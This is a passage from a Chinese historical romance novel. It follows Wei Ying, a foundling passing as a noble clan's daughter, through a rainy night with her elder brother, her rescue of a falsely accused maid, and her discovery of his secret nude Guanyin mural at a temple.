她才不想管三房和卫珠的闲事,只是她在长兄面前一向温柔良善、友爱姊妹,不该对堂妹置之不理。 “堂妹婚事有祖母做主,毋需多言。”卫珩神色有几分凉薄。 这就是不让她管,自己也不打算管的意思了。 卫婴悄悄察言观色,卫珩不似心有芥蒂,遂放下心来。 一放心,便又盼着他快些走。 已坐了两刻钟,也该走了罢? 可他不动,卫婴也不好开口送客,只能暗示:“外头起风了,阿兄冷不冷?不如我来烹茶罢?” 卫珩轻笑:“阿婴烹茶的技艺想是精进了。” 卫婴佯装羞恼:“阿兄又在取笑我,几年前的‘水厄’之仇一直记到如今。士别三日当刮目相看,我今时不同往日了。” 她刚进卫府那两年,也卯足了劲讨好过兄长,知道他读书时习惯饮茶提神,便学着烹茶讨好他,却不知他小小一碗茶都有几个专精此道的僮仆侍奉,自不量力地替他烹茶,却不小心煮过了头,苦得难以下咽。 “如此说来,似乎确有许久不曾尝过阿婴亲手烹的茶了。”卫珩瞥了眼窗纸。 月光将竹影投在窗上,外头不知何时起风了,竹枝刷刷作响。 “本来该告辞了。不过既然妹妹有心,自当奉陪品鉴。” 卫婴恨不得打自己嘴巴,这张嘴怎么就这么快呢,偏要多这么一句!这一日舟车劳顿,又出了那么多事,她只想送走长兄早点歇息。 当下 推拒不得,只好唤婢女取来茶具。 她屈膝跪坐在小茶炉前,撩起縠纱衣袖,用金缠臂挽高,露出一小截晧白小臂,将托盘上的茶具一一陈设妥当,捧起银壶向茶釜中注入清水。 “这水是王家送来的,说是专程着人去蒋山山泉源头取的,听闻甘甜无比,我却是品不出好坏,阿兄擅长品茗,可以尝尝。”一边拨动炭火,用银匙将茶叶撒入,手执木杓轻轻搅动,一边絮絮地说着些无关紧要的话。 水雾蒸腾中樱唇开合,似梦中嬉戏的鱼儿。 渐渐的语声也沉入梦中,只闻断断续续娇呖呖的一声又一声。 “似乎差不多了。”卫婴自言自语似地说,正要从托盘上拿起青瓷茶碗,却有一只修长的手递了白瓷茶碗过来。 “方才用过这只即可,不必换了。” 那抹唇脂痕迹晕染得越发浅淡,大半已经被他吃下去了。 卫婴没来由一阵心慌,他吃进腹中的那抹绯红好似又从她脸颊透了出来。 她的茶碗在他手中越发显得玲珑小巧,接过时难免碰触到他指尖,只觉激寒如冰,直凉到她心口。 人的手怎么会这么冷?她真要疑心他是冰雪雕琢成的了。 再看他手指,竟比白瓷还白了几分,隐隐透着青蓝。 正打量时,忽然耳畔传来隆隆的闷声。 卫婴蓦地转过头看向窗口,一道闪电将窗纸映得雪亮,窗前竹影狂摇,似被狂风欺凌压弯了腰肢。 紧接着暴雨倾盆而下,狂风卷着雨幕往廊庑上扑,吹开湘竹帘幕,腥潮水汽扑入室内。 “落雨了!落雨了!”廊庑上婢女们疾步奔走,关窗户、上门板,忙得不亦乐乎。 卫婴回过神来,悔得肠子都快青了,若非她多了一句嘴,早就将卫珩送出门了! 长兄却若无其事,只是平淡地说了声“不巧,下雨了”,便接过茶碗来仔细品鉴。 “阿婴的技艺果然大有长进。” “阿兄的随从不知是否淋到雨了。”她装作关心下人,忍不住提了一句。 “他们不会来接我了,”卫珩解释,“我叫他们送罢王诚便回去。明日一早便要行路,让他们早些歇息。” 对了,她这长兄可是出了名的礼贤下士,厚待奴仆。 他抬起眼皮:“放心,待雨小些,我自己走回去便是。” 卫婴不能当真叫他冒雨回去,即便雨停了,小径也是泥泞难行,总不能叫她出尘绝俗的长兄蹚着泥水走回去。 她这里没有乘舆,更没有可以抬舆的人——即便有,这样的天气又何必折腾奴仆。 卫婴暗暗叹息:“这么大的雨,即便停了也难于行走,阿兄若不介意,我便叫人收拾厢房,在此将就一夜罢。” 卫珩抬眼看她,神色莫辨:“恐怕诸多不便。” “事急从权,”卫婴善解人意地劝说,“亲兄妹无碍的。” 卫珩这才道:“那便叨扰妹妹了。” 卫婴便命人去收拾厢房。 好在她出行器物带得齐全,席簟衾褥、巾栉浴具也多带了一套备用,正好拿出来给长兄应急。 一切安排妥当,又请长兄过目,赧然道:“一应用具都是从家中带来的,只是事出突然,恐怕不合阿兄心意。” 卫珩看着眼前绮罗纱帐、衾褥隐囊,都是粉嫩的颜色,清新的纹样,像是将她卫府的闺阁搬了来。 帐中并未特意熏香,但床帏间隐隐有熟悉暗香浮动,如同狎昵私语。 卫珩目光动了动:“阿婴周到妥帖,此间物事,无不合我心意。” 10.夜宿 安顿好长兄,卫婴回到自己房中,累得趴在软榻上半天没起来。 应付王诚是身累,应付卫珩则是心累,眼下她身心俱疲。 翠翘替她捏着肩:“女郎受累了,都怪奴婢驽钝,若是青栀姊姊或者靺鞨在,必不会叫女郎受这等委屈。” 卫婴也觉这婢子实在不担事,但人各有其性,翠翘虽缺机变,但为人实在,细致谨慎,只要放在合适的位置上也可人尽其用。 “此事不能怪你,谁能想到王五郎会如此荒唐。”卫婴安抚她。 翠翘也是心有余悸:“王郎君真是人不可貌相,看起来这样文秀的人……万幸郎君正好路过。” 提起长兄,卫婴的脑仁又疼起来:“你替我揉揉额角。” 一时有婢女来禀报:“女郎,浴堂里热水已备好了。” 卫婴忽然想起这小院中只有一间浴堂,无论孰先孰后,都不方便,即便是亲兄妹,用同一个浴桶也不合适。 她便道:“你先去问郎君,请他去沐浴。” 若是长兄要用浴堂,她今日便忍耐一下不沐浴了。 婢女过了一会儿又折返:“郎君说他不用浴堂,请女郎早些沐浴安置。” 卫婴便也不同他客气,由翠翘扶着起身去浴堂。 本来就是他不请自来的,她遣人去问一声便尽到礼数了。 才除下衣衫,便听说靺鞨回来了,卫婴便支开其他婢女,只叫她进来伺候。 “着你打听的事,如何了?”卫婴问她。 小婢女便竹筒倒豆子似地将探听来的消息说了一遍。 果然她身世的流言传得到处都是,不过是从她“母亲”杨夫人身上做文章,说当年杨夫人成婚数年,忽然离开卫家,投奔时任豫州刺史的弟弟杨信,其实是因与人有了私情,卫府碍于两家情面,才不曾将她休弃,只是任由她出府投亲。 后来大晋与燕国交战,杨信转投燕国,杨夫人便彻底与卫家断绝了音信。 卫婴六岁那年,杨夫人病逝,临终前留下遗言,让弟弟将女儿送归卫氏,但时隔四年大晋才与燕国议和,杨信才遵照姊姊遗愿,遣人护送卫婴回到建康。 谁知他们搭乘的渡船却遭遇风浪,杨氏一行幸存下来的只有那小女郎的乳母。 同样挣扎着活下来的,还有底舱一个被人牙子从江北贩到江南的小倡女。 卫婴刚到建康时,也隐隐有过类似的流言,但卫家毫不犹豫便将她认下,因此近些年再未有人怀疑她的身世。 卫婴私下也曾问过那乳母卫婴身世可有疑问,乳母是杨夫人陪嫁婢女,言之凿凿说杨夫人离开卫家时已有身孕。 问她为何杨夫人怀着身孕离开卫府,她却语焉不详,只忿忿然说是卫家人对不起杨夫人。 到得卫府,她见到病榻上的祖父,老人也执着她的手连声道卫氏亏欠她母亲良多,可见卫家对杨夫人腹中骨肉的血脉并无疑问。 其中内情究竟如何,自不会有人同她说。 直至两年前那嬷嬷病故,她也没能从她口中挖出真相。 “可知流言是哪里传出来的?”卫婴问。 靺鞨摇摇头:“这奴婢也打听不出来,只说似乎是卫府知晓当年事的老人说出来的,起先是在建康城高门的奴仆间传着,几日间那些世家都传遍了。” 卫婴点点头,她没指望她随便一打听就弄清楚流言源头,只不知这是针对她一个,还是针对长房,抑或是针对整个卫氏。 毕竟杨夫人也是卫珩的母亲,若她德行有亏,岂非也是卫珩的污点? 卫珩一回建康便传出这等流言,实在叫人不得不多想。 靺鞨又说:“那些碎嘴子的小娘子还说了一些闲话。” “什么话?” “他们说郎君也知晓妹妹并非卫氏血脉,深以为耻,因此对女郎不假辞色,恐怕要为女郎随便寻一门亲事,尽快嫁出去。一些二三流门第的都想趁机高攀我们家,还有些不成体统的世家子,也想着结这门亲事,现下那些人都在等着看笑话。” 靺鞨说完方觉失言:“女郎你可千万别信,他们都是胡言乱语。这些话早晚传到郎君耳朵里,一定叫他们好看!” 卫婴心口发闷,脸上只是云淡风轻,一笑置之:“我自不会当真,只惊讶于那些人无知愚蠢,连这样的话也信。” 可是长兄当真没有听到这些流言么? 他是男子,又有那么多部曲扈从,耳目众多,不该像她一样蒙在鼓里。 若他已经听说了传言,又为何在众人面前冷待她,岂非坐实了传言? 这样的流言广为流传,对他有何好处呢? 还是他根本就对她身份起疑,顺水推舟借机试探她? 不,不可能,卫婴连忙安慰自己,若长兄知道她是赝品,何必与她玩心眼,只消当面对质,严加审问,恐怕她也会忍不住招供。 仔细想来,他甚至无须拆穿她,只需给她寻一门藏污纳垢的婚事,既能报复她欺骗之仇,还能将她这美貌无依的假妹妹“物尽其用”,身为卫氏长子,他有太多手段可以惩治她。 卫婴不寒而栗。 是夜,她躺在床上辗转难眠。 不能坐以待毙。 卫珩今日既然替她解围,可见对她有几分手足情谊,方才他们烹茶闲谈,不是很融洽么? 无论他是否起疑,他都是她最大的倚仗。 她的婚事捏在他手里,她只有讨好他,奉迎他,让他即便发现她是赝品,也看在她对他千依百顺、予取予求的份上,对她多一丝顾念,多一丝怜惜。 卫婴披衣起身,趿着珍珠软缎履走到窗前,推开窗户往庭中望去,只见长兄的东厢房里还亮着灯火。 她便即唤来翠翘替她更衣梳发,又从衣箱中找出一条多余的锦衾,亲自抱着,向东厢房走去。 雨已小了许多,淅沥沥打在木叶上。 到得厢房门前,却见她派去侍奉长兄的两个婢女站在廊庑上。 两人见了她上前屈膝行礼,卫婴问:“阿兄还未就寝?” 一婢女答:“郎君去浴堂沐浴了。” 卫婴微微诧异,他方才又说不用浴堂,怎的又去了。 尽管换了水,可想到长兄在她刚用完的浴桶里沐浴,她的脸便有些发热。 “阿兄去了多久?可有人伺候?” “浴堂里只有郎君一人,郎君说他不用人伺候,也不令我们入内,”婢女生怕主人怪罪,急着解释,“郎君已去了半个时辰,应当快回来了。” 小婢女惴惴不安,她不敢说的是,郎君非但不要他们伺候,还体恤他们辛苦,连浴汤都不叫他们换。 郎君叮嘱他们不可叫女郎知晓,免得她过意不去。 世上怎么有郎君这样的人呢? 小婢女当然不敢辜负郎君一片苦心,也不想叫女郎以为他们怠惰,便藏在心里不说 。 卫婴一无所知,只是点点头:“我在这里等等阿兄吧。” 既然已经半个时辰,再不出来水都要凉透了。 话音未落,身后响起了木屐的声音。 卫婴转过身,便见长兄向她走来。 她从未见过长兄刚出浴的模样,穿着里衣,外袍衣带松散,衣襟大敞,长发披散,发梢还滴着水,眼眸好似洗过,蒙着层水雾,颧骨与眼尾被浴堂的热气蒸得绯红,连总是缺少血色的薄唇也变作嫣红,不像端庄持重的卫氏长公子,倒像是故事里摄人心魄的精魅。 甚至走路的样子都与平日大不相同,透着股慵懒无力。 两个婢女悄悄打量了一眼,都不敢再看,红着脸低下头去。 卫珩似乎不曾料到会在这里遇见妹妹:“阿婴找我有事?” 卫婴用下巴点了点怀里的锦衾:“下过雨有些凉,想到阿兄衾被单薄,便送一条过来。” “妹妹有心了。”卫珩走上前来,从她怀里接过香软的衾被。 随着他的动作,衣襟滑开些许,露出一小片胸膛和山棱般的锁骨,也都染上了红晕。 靠近时,她嗅到他身上暖热蒸腾的气息,熟悉的沉香香气洗淡了,他本身的味道从肌骨中泛出来,非檀非麝的奇异气息,既清雅好闻,又无端叫人觉着重浊。 卫婴不敢喘息。 好在卫珩接过衾被便退后些许:“这些事让下人做便是,何必亲自过来。” 目光在她肩头顿了顿:“还穿得如此单薄。” 卫婴不自觉地紧了紧衣襟,仰脸甜笑:“在陌生地方有些难眠,便出来走走。” “这么大的人,还和小时候一样认床。”长兄的语气说不出的熟稔亲昵。 卫婴从小漂泊,哪里有资格认床,从来都是累到极点沾枕头便睡,所谓的认床、害怕雷声等等,都是她小时候亲近长兄的借口。 许是想起了昔年旧事,卫珩眉眼格外柔和。 卫婴趁机道:“正好也来问问阿兄明日何时启程,叫下人提前备膳。” “一早便走,可以在舟上用朝食,不必麻烦,”卫珩道,“今夜叨扰妹妹已十分过意不去。” “阿兄总是同我见外。” 她微微仰起脸,佯装好奇:“明日的清谈会好玩么?听谢家姊姊说,清谈会上唇枪舌剑,挥麈谈玄,很有意思。” 如今流言肆虐,她需要尽快像众人昭告他们兄妹和睦,她仍是卫珩珍视的妹妹,最好的办法莫过于随他去清谈会,又能远离王诚那隐患,还可以在清谈会上物色俊彦,可谓一箭三雕。 卫珩不接话,目光飘落在她脸上,似有重量。 暖融融的火光也似沉入了那双深不见底的眼眸,变冷了。 他只用眼睛便将她的心思剥了个干净。 半晌,他方才问道:“阿婴想去看看?” 卫婴有些踟蹰,可到了这种时候,没有退缩的道理。 她微微偏头,眨了眨眼睛:“可以么?” 卫珩无声地一笑:“明日恐怕不便,下回带你去。” 却不解释为何不便。 卫婴乖顺地点点头:“好,阿兄早些睡,阿婴也回房去了。” “我送你。”卫珩仍旧温柔。 可卫婴心中沮丧不已,她明明白白地感觉到,她说错了话,他们之间冷了下来。 稍纵即逝的机会从她指缝里溜走了。 11.援手 究竟是哪里做错了? 是夜,卫婴躺在床上复盘,她望着黑黢黢的帐顶,回想着方才长兄的每一句话,每一个表情,每一个眼神,竭力寻找蛛丝马迹。 是看穿了她的心思,不愿被她借势么? 也对,疏远了这么多年,如今遇到了事临时抱佛脚,换了她也会不悦,何况是卫氏的长公子呢?想从他身上图谋好处的人如过江之鲫,如今连妹妹也如此,定让他十分反感。 都怪她操之过急,着了相。应当先叙旧情,拉近关系,待时机成熟时再图好处。 找到了症结所在,卫婴的心便定了。 有了这回的前车之鉴,往后要徐徐图之。 她打定主意,翌日须得早些起来,亲自操持朝食,再借着一同用膳的机会转圜转圜。 奈何她计划得天衣无缝,执行得一丝不苟,窗纸微明便强忍着困意一骨碌爬起来,可唤来婢女一问,却道郎君天未亮便已启程了。 卫婴扑了个空,心下有些懊恼,却并不十分担心。左右长兄已回建康,日后有的是相见的机会。 在青溪别墅住了两夜,第三日晌午卫婴回到府中,回房中歇息片刻,先叫人问了青栀的病,得知她服了几剂药后已大瘥,只是身子还有些虚,便嘱咐她再安心休养几日。 接着她便着人去弗居馆打听卫珩行踪——清谈会至多两三日,长兄差不多该回府了。 等了一会儿,婢女回来禀道:“郎君昨日黄昏已回府中,不过今日一早便去祇洹寺了。” 卫婴这才想起,他说过应祇洹寺寺主法颖禅师之邀,为寺中新修的佛堂画壁。 “阿兄可说过何时回府?”她问。 “弗居馆的僮仆说,郎君要在寺中持戒,近日宿在寺中,归期未定。” 卫婴不禁大失所望,最近真是诸事不顺,先前她避之唯恐不及时到处都能遇见他,如今她有求于他,却又见不到了。 婢女大约是看出她低落,安慰道:“不出旬日便是老夫人生辰,郎君到时候总会回来的。” 卫婴笑了笑,并不言语。 等祖母生辰再回来就晚了,到时候亲朋好友都要登门赴宴贺寿,若生辰宴上卫珩仍是冷淡态度,宾客们看了岂不坐实她身世有疑问? 到时候要寻一门称心如意的亲事就难上加难了。 不过转念一想,祇洹寺离卫府又不远,卫珩才回建康,总不至整日待在寺中不回来。 卫婴便吩咐婢女留意弗居馆的动静,长兄一回府便立即来禀报。 谁知一连等了四五日,卫珩只回了两次卫府,一次是清晨,去探望了祖母,又在前院与二叔父商谈一番,便即乘车回了寺中,卫婴硬是没找到见缝插针见上一面的机会。 第二次回来是夜里,卫婴不便去他院子,本想翌日清晨找个借口去见他,谁知这一夜睡得格外沉,竟一觉睡到天光大亮,醒来一问,长兄果然已回寺中去了。 卫婴想过去寺中寻他,可未免显得太过迫切,说不定适得其反惹得他嫌恶。 她左思右想,除了等他回府似无他法,便安心绣制经文——讨好长兄之余也不能放弃张老夫人这条路,虽然只是条崎岖小径。 如此又过了两日,总算有件顺心事——青栀彻底康复,又能回她跟前伺候了。 这一日用罢午食,卫婴练了会儿字,见青栀走入房中,看着有些神思不属。 “青栀姊姊?”卫婴忙唤她过来坐,“脸色怎的这么差,可是出什么事了?” 青栀拖了个筌蹄过来,在她榻边坐下,摇着头道:“奴婢没事,只是方才听说三夫人要发卖络秀,唬了一跳。” 卫婴想了想,记起这是四堂妹房中的婢女,有一日他们经过三房院外,听见三夫人责骂这婢女带坏她的好儿子。 “好端端的怎么就闹得要发卖了?”她问。 这样的事四堂兄可没少做,他院中的、三夫人院中的,但凡有几分姿色的,总要得了手才罢休,这回将手伸到妹妹房里的确不像话,但也没理由发卖人。 卫氏这样的世族讲究仁德,苛待下人是要落人口实的。 青栀心有戚戚:“是四娘子房里丢了样金宝,若是别的倒还罢了,偏偏是宫中张贵嫔赐的辟兵簪。四娘子的妆奁一向是络秀管着的,闹将起来,三夫人说是她监守自盗,要将她逐出府去,配给三房管田庄的庄头吴保。 “那吴保快五十了,仗着在主人跟前有些脸,成日吃酒赌钱,吃多了酒便回家打妇人,前头一房妻室成日遭他毒打,苦熬不过投了井,我们都听说过的,络秀嫁与他不知要被糟蹋成什么样。 “络秀自是抵死不从,她那烈性子,嘴上又是没把门的,不知说了什么惹恼了三夫人,如今铁了心要将她发卖出去,已叫人去寻牙人了。” 卫婴一听便明白了,必是四堂兄在外头赌输了钱或欠了债,三夫人那里防着他不便下手,就打起了妹妹妆奁的主意。 张贵嫔赏的辟兵簪是御物,他们姊妹一人一支,端午祖母生辰宴要戴上见贵客,四娘子那支簪子多半是寻不回来了,又来不及依样打一支,内造的手艺外头也仿不像。 三夫人便将这事栽给了络秀,既有人顶罪,又解了心头恨,还笼络了一个田庄管事,可说一石三鸟。 “要奴婢说,”青栀凑近了,压低声音,“定是四郎君在外欠了钱,偷偷拿妹妹的金器去抵债了,就算是络秀拿的,也定是受了他胁迫。” 卫婴摇了摇头:“络秀多半不知,若是她做的,便不会将御赐的金簪一起拿走。” “那络秀就太冤枉了,就没有人能管管三夫人么……”青栀眼眶红起来,即便从前有些小龃龉,她也不忍看同为奴婢的络秀遭遇不幸。 能管得了三叔母的只有三叔父和张老夫人,可三叔父成日在外与友人狂饮服散、寻欢作乐,即便在家也不会管这些“俗务”。 而老夫人与三叔母是亲姑侄,更不会为了个小小婢女的冤屈伤了姑侄和气。 “祖母想必已知道了吧?” 发卖人口不是小事,三夫人也不能擅自作主,必要禀报老夫人知晓。 青栀咬了咬牙:“老夫人说三夫人网开一面,没报官已是仁厚,络秀配吴管事绰绰有余。她还叫人看着络秀,免得她在府中做什么傻事。” 卫婴也不禁齿冷,在这些人眼里,奴仆与牲口无异,婚配也与配种无甚差别,若是不肯便是不识抬举,若是想不开做出傻事,也只是不惜福,还脏了府里的地。 青栀纵然义愤填膺,到底无能为力,只悄悄眨巴着一双圆圆的眼睛偷觑主人脸色。 卫婴哪里不明白她的意思,小婢女是希望她能去祖母面前劝一劝,将络绣从火坑里拉出来。 “这是三房的私事,络秀是四堂妹的人,我们长房不好越俎代庖,”卫婴对她脸上的失望视而不见,“你也谨言慎行,在外头别多议论三叔母。” 不是她不想管,只是她很清楚这事谁劝祖母都没用。所有人都知道络秀是冤枉的,可所有人都会要络秀背上这罪名,否则宫里赐的金簪是谁偷的?总之不能是张老夫人的亲孙儿,卫家四郎君偷的。 青栀也懂得这道理,只是心中不忿。 她揩揩眼角:“女郎砚池里的墨干了,奴婢重新磨过吧。” 卫婴听了这些事,也无心再习字:“今日不写了。” 她坐到绣架前刺了几针,大约是心中有些戾气,绣出的针脚也里出外进,与前面的一对比更加惨不忍睹,只好叫婢女替她拆了。 去琴室抚了会儿琴,心还是静不下来,琴音也透着股燥意。 合香、丹青、打谱、读书……这些素日喜欢的物事,都变得索然无味,连去园子里摘花、喂鱼都提不起兴致,胸中时时刻刻仿佛堵着块东西。 她也被卖过两回,第一回是被卖进百戏班,那时候太小还不记事,第二回就是被百戏班卖出来那次。 她年岁渐长,身条也比其他“小猴子”抽得快,有人劝班主趁小将她卖出来,好调教,也能卖个好价钱,班主便请了牙人来,那婆子先掰开她的嘴检查她的牙口,又叫她伸出手、脱下鞋袜,检查指爪,最后要当着众人面剥她衣裳时,她终于抓着衣襟哭了出来。 可那婆子有力气,三两下就将她剥了个精光。 在自己的嚎哭尖叫中,她听见他们讨价还价。 “看这晒不到的地方,皮肉多白嫩……” “可惜后腰上有这块瑕疵……” “怎么是瑕疵呢?这胎记多漂亮啊,红艳艳的,像朵花,像只蝶……” “有这么块记号,将来叫人认出来……这孩子别是拐子拐来的吧?” “我们正经营生,哪里敢买那起来路不正的孩子,你放心,是她亲娘摁的手印,这世上没人会找她……” 卫婴将整把鱼食扔在池子里,拍拍手站起身。 她恼她自己。 卫府上下一定都知道这件事了,为何所有人都可以不在乎,偏偏她不行? 为何她不能像他们一样? 那婢女是卫珠的婢女,从小伴她长大的,连她都可以不管,为什么她不行? 卫婴在园子里转了一圈,认命地回到自己的团栾阁,向青栀道:“取我的辟兵簪来。” 青栀怔了怔,旋即明白过来,张了张嘴,眼眶便湿了:“ 女郎,可是女郎你……” 卫婴叹了口气,抱着她的腰,将小巧的下巴颏搁在她肩头,娇滴滴道:“我是为了青栀姊姊才救她的,青栀姊姊要一辈子待我好才行,回来我要吃你亲手做的冰酥酪。” 青栀心都快化了,有些语无伦次:“女郎,女郎真真是最好的女郎……” 她一直觉得她家女郎与府上其他女郎、其他主人都不一样,郎君也待下人好,却如莲台上的神佛,从高处往下普施恩德,只有女郎不一样,只有女郎的眼睛是看得见他们的。 卫婴重重叹了口气。 或许骨子里的东西无法更改,她出身卑贱,到底做不成与生俱来的上等人。 一支金簪和一条同类的性命,在她眼里终究是后者贵重一些。 走到三房门外,院子里正乱作一团,卫婴听见四堂妹的哭声中三叔母呵斥仆妇:“还愣着做什么,你们两个人还拖不动她一个?” 卫婴便即带着青栀和靺鞨往里走,三房婢女连忙来拦她:“四娘子,眼下四娘子恐怕不方便……” 可她已经从半掩的门里看见庭中两个健壮的仆妇拖拽着一个蓬头散发、衣衫尽裂的年轻女子。 那女子被布堵着嘴,满脸涕泪,喉间不断发出悲鸣般的呜咽声。 一个仆妇“吭哧吭哧”地喘着粗气:“你先制住她,别叫她乱动,待我用绳子将她手脚捆起来……” 青栀搀着卫婴,感觉女郎身子微微发抖,她偷觑一眼,只见女郎神情恍惚,脸色也很苍白,急忙问:“女郎可是吓到了?” 卫婴摇了摇头:“无事。” 她只是没想到时隔多年看见这样的情形,心中还会起波澜。 她定了定神,露出惊诧之色:“这是怎么了?” 话未说完,卫珠在里面听见了她的声音,快步走过来,瞪着一双小桃子似的眼睛:“三姊是来看我的热闹么?我驭下不严,房中出了家贼,想必三姊也听说了吧?何必在这里佯装不知……” “珠儿,怎么同你三姊说话的!”三夫人轻斥了女儿一声,皮笑肉不笑地看向卫婴,“婴娘莫要见怪,今日院中有些杂事,多有失礼,请容叔母处置完再请你过来坐。” “三叔母与四妹妹既在忙,阿婴便不打扰了,”卫婴从袖中取出绢帕包着的金簪,“方才我在后园莲池边秋千架旁草丛里捡到一支簪子,听说四妹妹丢了东西,便来问问。” 不等三夫人说什么,卫珠接过金簪,打开帕子,不可置信地盯着簪子看了会儿,又抬起泪眼狐疑地看堂姊:“你……” “四妹妹看看仔细,这可是你丢的?我记得前两日你在池边与五妹妹他们打秋千,大约是那时不小心掉落的。” 卫珠反应过来,一把将簪子夺过:“是我的,是我的!” 转头向那两个仆妇喊:“你们听见了吗?簪子找到了,不是络秀偷的,还不快将她松开!” 她上前拉住络秀的手:“太好了络秀,簪子找到了,你能留下来了!” 婢女这时已安静下来,通红的眼睛缓缓转动了一下,木木地看着主人的脸。 · 三夫人则打量着卫婴,仿佛第一次见到她似的:“瞧三叔母这急性子,眼里揉不得沙子,差点冤错了人,多亏了婴娘,否则要闹出大笑话了。” 卫婴笑了笑:“三叔母客气了,只是一场误会,解开就好。既已物归原主,阿婴便不打搅了。” 她瞥了一眼络秀:“带她好好梳洗一下吧,真是可怜。” 经此一事,她算是把三叔母得罪死了,卫珠也未必领她的情,还赔上自己一支簪子,惹出一堆的麻烦事,真是赔本的买卖。 可她一点也不后悔,反而无比畅快。 进卫府六年,她每日殚精竭虑,事事算计,瞻前顾后,这还是第一次不计后果任意妄为。 青栀也担心:“女郎的簪子没了,老夫人怪罪起来怎么办?” “祖母不会的,只是没了那支簪子,多少有些麻烦。”毕竟张老夫人对来龙去脉心知肚明,但生辰宴上姊妹几个都戴着一样的簪子,只她没有,落到宾客眼里恐怕更是坐实传言。 “那怎么办啊……”青栀急得都快哭了,“都怪奴婢多嘴,早知道不告诉女郎就好了。” “你不告诉我我也会知晓,”卫婴拉起她的袖子,“走吧青栀姊姊,我们去园子里摘莲蓬,你教我做桂花莲子汤和玫瑰冰酥酪吧。” 青栀晕晕乎乎被她牵着走,女郎怎么这时候还有闲心做吃食。 “做完我去看看阿兄,寺中斋饭简陋,送些吃食与他换换口味。”卫婴道。 为今之计,只有去求长兄。 12.秘密 祇洹寺在建康城闹市旁,寺庙不大,却是青松绿竹掩映,嘉兰芳杜匝阶,迎面一座九层佛塔矗立眼前,绕过塔向里走,弥觉禅房虚静,隐室凝邃。 可惜卫婴不信神佛,一颗尘心里装满了佛铃梵呗涤不净的俗愿。 知客小僧将她带到佛殿前,只见门扉紧闭,问她:“卫檀越此时大约在与法主论经,檀越可要进香礼佛?” 卫婴摇摇头,求神拜佛对她毫无用处,她是来拜长兄这尊大佛的。 不过青栀和其余几个婢女却是虔信佛道的,进了寺庙当然想进香礼拜。 卫婴来亲近讨好长兄,一群人围着也多有不便,便向小沙弥道:“有劳小师父带这几位檀越去进香,我在这殿内等家兄便是。” 小沙弥面露难色:“卫檀越吩咐佛画完成以前,旁人不得入内。” 卫婴见这小沙弥不过十来岁,圆圆脸蛋红彤彤的颇为可爱,忍不住逗他,佯装不高兴:“我是卫檀越的亲妹妹,也看不得么?” 小沙弥慌忙解释:“不是小僧怠慢檀越,本寺沙门也不得入内的,连我们法主也不曾进去过的……” 卫婴一笑露出对深深梨涡:“我知道了,多谢小师父,我就在这树下等候。” 佛堂前生着棵大桑树,枝柯横生,亭亭如盖,正可以遮荫。 小沙弥这才放下心来,请婢女们随他去礼佛。 青栀四下环顾,有些不放心:“女郎一个人可以么?奴婢还是留下伺候吧。” “无妨,你放心,我们家的部曲就在门外候着,不会有事的,”卫婴从她手上接过食盒,“你放心去进香吧,我同阿兄两人说说话。” 卫珩既答应法主之邀前来画壁,这寺庙自不会有问题,何况法主还是都邑僧正。 青栀最愿意见到女郎亲近郎君,听她这么一说,便跟着小沙弥走了。 众人离去后,卫婴立即向佛殿走去。 佛殿新近重新修葺过,又扩建了数间,楹柱还散发着新漆的气味。 卫婴试着推了推门,门竟未锁。 她毫不犹豫跨过门槛走进了佛殿。 窗牖紧闭,殿内有些昏暗,偌大殿堂里只燃着几盏长明灯,几尊大小佛像上还蒙着红布。 卫婴将食盒随手放在香案上,接着环顾四周。 东壁上的佛画已快完成了,她仔细端详,认出画的是萨埵太子舍身饲虎的故事,由刺颈、跳崖、饲虎三幅画连缀而成,最后猛虎趴伏在太子身上的情景尤其生动,叫人几欲窒息。 长兄书画皆绝,壁画中太子与周围人的神情、猛虎贲张的体态都栩栩如生,可想而知待全部佛画完成后,都人士女定会争相观睹,这祇洹寺也会成为建康又一胜景。 只是这佛画虽精妙,究竟也只是常见的本生画,不至于连看一眼都不许。 卫婴将目光转向张挂着紫锦帷幔的西壁——看来不能提前示人的秘密应当在这里了。 她从来不是什么循规蹈矩的人,越是不让她看,她越是心痒。 左右画完了都是要给人看的,趁着卫珩还没来赶紧看上一眼,看完立即退出去掩上门便是了。 卫婴当即快步走到跟前,拉开帷幔,接着往后退了几步。 壁画收入眼底,她差点惊叫出声,连忙捂住嘴,可心还是狂跳不止。 只见素壁上是一尊画到一半的观音像,婀娜秀美的观音躺卧在万顷碧波之上,一手拈花,一手闲适地搭在身前,宝冠耀目,璎珞璀璨,衬得肌肤白皙丰腻,还未画上五官眉眼便已美得摄人心魄。 但叫卫婴震惊的,是这观音像竟然未着寸缕,一切都袒露于眼前,连丰白肌肤上的红晕都历历可见。 卫婴去过许多佛寺尼寺,见过许多本生画、经变画,其中也不乏多有袒露的,但那些画从未让她生出过异样之感,只觉宝相庄严。 可眼前这画不一样。 尽管姿态端庄,毫无亵渎之感,甚至连眉眼都未画上,可就是……不像菩萨,却像是魅惑人的妖魔。 即便不信佛,对着菩萨像生出这样的念头也未免亵渎神明。 一个更亵渎更荒谬的念头从她心底冒出来,眼前这具胴.体,莫名让她觉着熟悉。 她的浴堂前些年重新修葺过,安了一面可以照出全身的铜镜,她虽不怎么刻意去照,但有时出浴时会瞥见…… 当然这只可能是巧合,长兄不曾见过,怎么可能照着她的样子画。再说对着摹写也未必能画得分毫不差,何况是凭空画出呢。 可是一想到等这壁画完成,所有人都能来看,便好似是她躺在这里任人观瞻。 长兄为何要在佛寺画这样一幅画…… 卫婴再怎么胆大妄为,也只是个十六岁的小女郎,当下脸烧得滚烫,心头突突乱跳。 她有些后悔擅自窥看长兄的秘密,倒弄得自己忐忑不安。 她不敢久留,正要将帷幔照原样合上,身后的木门突然“吱呀”一声开了。 “阿婴。”身后响起男人清泉洗濯过一般的声音,连殿外喧闹的蝉声都是一静。 卫婴揪着拉到一半的帷幔,缓缓转过头,心脏几乎停止了跳动:“阿兄……” 长兄逆光站在门口,看不见脸上神色。 卫婴既害怕看不清他脸色,又害怕看得太清。 有一瞬间她几乎夺门而逃。 可是长兄堵住了唯一的出路,又能往哪里逃呢? 许是为了作画方便,他着了件僧袍,袍子不甚合身,肩膀处崩得有些紧,越发显出他身形高大,几乎将所有天光挡在了身后。 卫婴浑身僵硬,而长兄已跨过了门槛,反手阖上门扇:“你怎么来了?” 他一边说着,一边走进长明灯的光晕里,神色如常,依旧是那个清隽温和的兄长。 卫婴努力转动僵直的脖颈,视线落在她放在案头的食盒上,方才找回一些神智,勉强露出个微笑:“今日闲来无事,跟青栀学做了冰酥酪和桂花桃胶莲子汤,来送些给阿兄尝尝。” 